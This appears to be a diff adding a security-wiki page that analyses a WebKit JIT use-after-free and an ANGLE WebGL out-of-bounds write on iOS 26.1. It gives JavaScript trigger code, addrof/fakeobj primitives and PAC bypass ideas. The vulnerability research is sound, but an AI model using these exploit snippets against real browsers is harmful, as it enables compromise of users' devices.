|
| 1 | +# WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1) |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Summary |
| 6 | +- **DFG Store Barrier bug (CVE-2025-43529)**: In `DFGStoreBarrierInsertionPhase.cpp`, a **Phi node marked escaped while its Upsilon inputs are not** causes the phase to **skip inserting a write barrier** on subsequent object stores. Under GC pressure this lets JSC free still-reachable objects → **use-after-free**. |
| 7 | +- **Exploit target**: Force a **Date** object to materialize a butterfly (e.g., `a[0] = 1.1`) so the butterfly is freed, then **reclaimed** as array element storage to build boxed/unboxed confusion → `addrof`/`fakeobj` primitives. |
| 8 | +- **ANGLE Metal PBO bug (CVE-2025-14174)**: The Metal backend allocates the PBO staging buffer using `UNPACK_IMAGE_HEIGHT` instead of the real texture height. Supplying a tiny unpack height then issuing a large `texImage2D` causes a **staging-buffer OOB write** (~240KB in the PoC below). |
| 9 | +- **PAC blockers on arm64e (iOS 26.1)**: TypedArray `m_vector` and JSArray `butterfly` are PAC-signed; forging fake objects with attacker-chosen pointers crashes with `EXC_BAD_ACCESS`/`EXC_ARM_PAC`. Only reusing **already-signed** butterflies (boxed/unboxed reinterpretation) works. |
| 10 | + |
| 11 | +## Triggering the DFG missing barrier → UAF |
| 12 | +```js |
| 13 | +function triggerUAF(flag, allocCount) { |
| 14 | + const A = {p0: 0x41414141, p1: 1.1, p2: 2.2}; |
| 15 | + arr[arr_index] = A; // Tenure A in old space |
| 16 | + const a = new Date(1111); a[0] = 1.1; // Force Date butterfly |
| 17 | + |
| 18 | + // GC pressure |
| 19 | + for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000)); |
| 20 | + |
| 21 | + const b = {p0: 0x42424242, p1: 1.1}; |
| 22 | + let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped |
| 23 | + A.p1 = f; // Missing barrier state set up |
| 24 | + |
| 25 | + for (let i = 0; i < 1e6; ++i) {} // GC race window |
| 26 | + b.p1 = a; // Store without barrier → frees `a`/butterfly |
| 27 | +} |
| 28 | +``` |
| 29 | +Key points: |
| 30 | +- Place **A** in old space to exercise generational barriers. |
| 31 | +- Create an indexed **Date** so the **butterfly** is the freed target. |
| 32 | +- Spray `ArrayBuffer(0x800000)` to force GC and widen the race. |
| 33 | +- The Phi/Upsilon escape mismatch stops barrier insertion; `b.p1 = a` runs **without a write barrier**, so GC reclaims `a`/butterfly. |
| 34 | + |
| 35 | +## Butterfly reclaim → boxed/unboxed confusion |
| 36 | +After GC frees the Date butterfly, spray arrays so the freed slab is reused as elements for two arrays with different element kinds: |
| 37 | +```js |
| 38 | +boxed_arr[0] = obj; // store as boxed pointer |
| 39 | +const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak |
| 40 | +unboxed_arr[0] = itof(addr); // write pointer bits as float |
| 41 | +const fake = boxed_arr[0]; // reinterpret as object → fakeobj |
| 42 | +``` |
| 43 | +Status on **iOS 26.1 (arm64e)**: |
| 44 | +- **Working:** `addrof`, `fakeobj`, 20+ address leaks per run, inline-slot read/write (on known inline fields). |
| 45 | +- **Not stable yet:** generalized `read64`/`write64` via inline-slot backings. |
| 46 | + |
| 47 | +## PAC constraints on arm64e (why fake objects crash) |
| 48 | +- **TypedArray `m_vector`** and **JSArray `butterfly`** are PAC-signed; forging pointers yields `EXC_BAD_ACCESS` / likely `EXC_ARM_PAC`. |
| 49 | +- The confusion primitive works because it **reuses legitimate signed butterflies**; introducing unsigned attacker pointers fails authentication. |
| 50 | +- Potential bypass ideas noted: JIT paths that skip auth, gadgets that sign attacker pointers, or pivoting through the ANGLE OOB. |
| 51 | + |
| 52 | +## ANGLE Metal PBO under-allocation → OOB write |
| 53 | +Use a tiny unpack height to shrink the staging buffer, then upload a large texture so the copy overruns: |
| 54 | +```js |
| 55 | +gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height |
| 56 | +// staging = 256 * 16 * 4 = 16KB |
| 57 | +// actual = 256 * 256 * 4 = 256KB → ~240KB OOB |
| 58 | + |
| 59 | +gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F, |
| 60 | + 256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0); |
| 61 | +``` |
| 62 | +Notes: |
| 63 | +- Bug in `TextureMtl.cpp`: staging buffer uses `UNPACK_IMAGE_HEIGHT` instead of real texture height on the PBO path. |
| 64 | +- In the referenced probe the WebGL2 PBO trigger is plumbed but not yet reliably observed on iOS 26.1. |
| 65 | + |
| 66 | +## References |
| 67 | +- [WebKit-UAF-ANGLE-OOB-Analysis](https://github.com/zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis) |
| 68 | +- [jir4vv1t/CVE-2025-43529](https://github.com/jir4vv1t/CVE-2025-43529) |
| 69 | + |
| 70 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments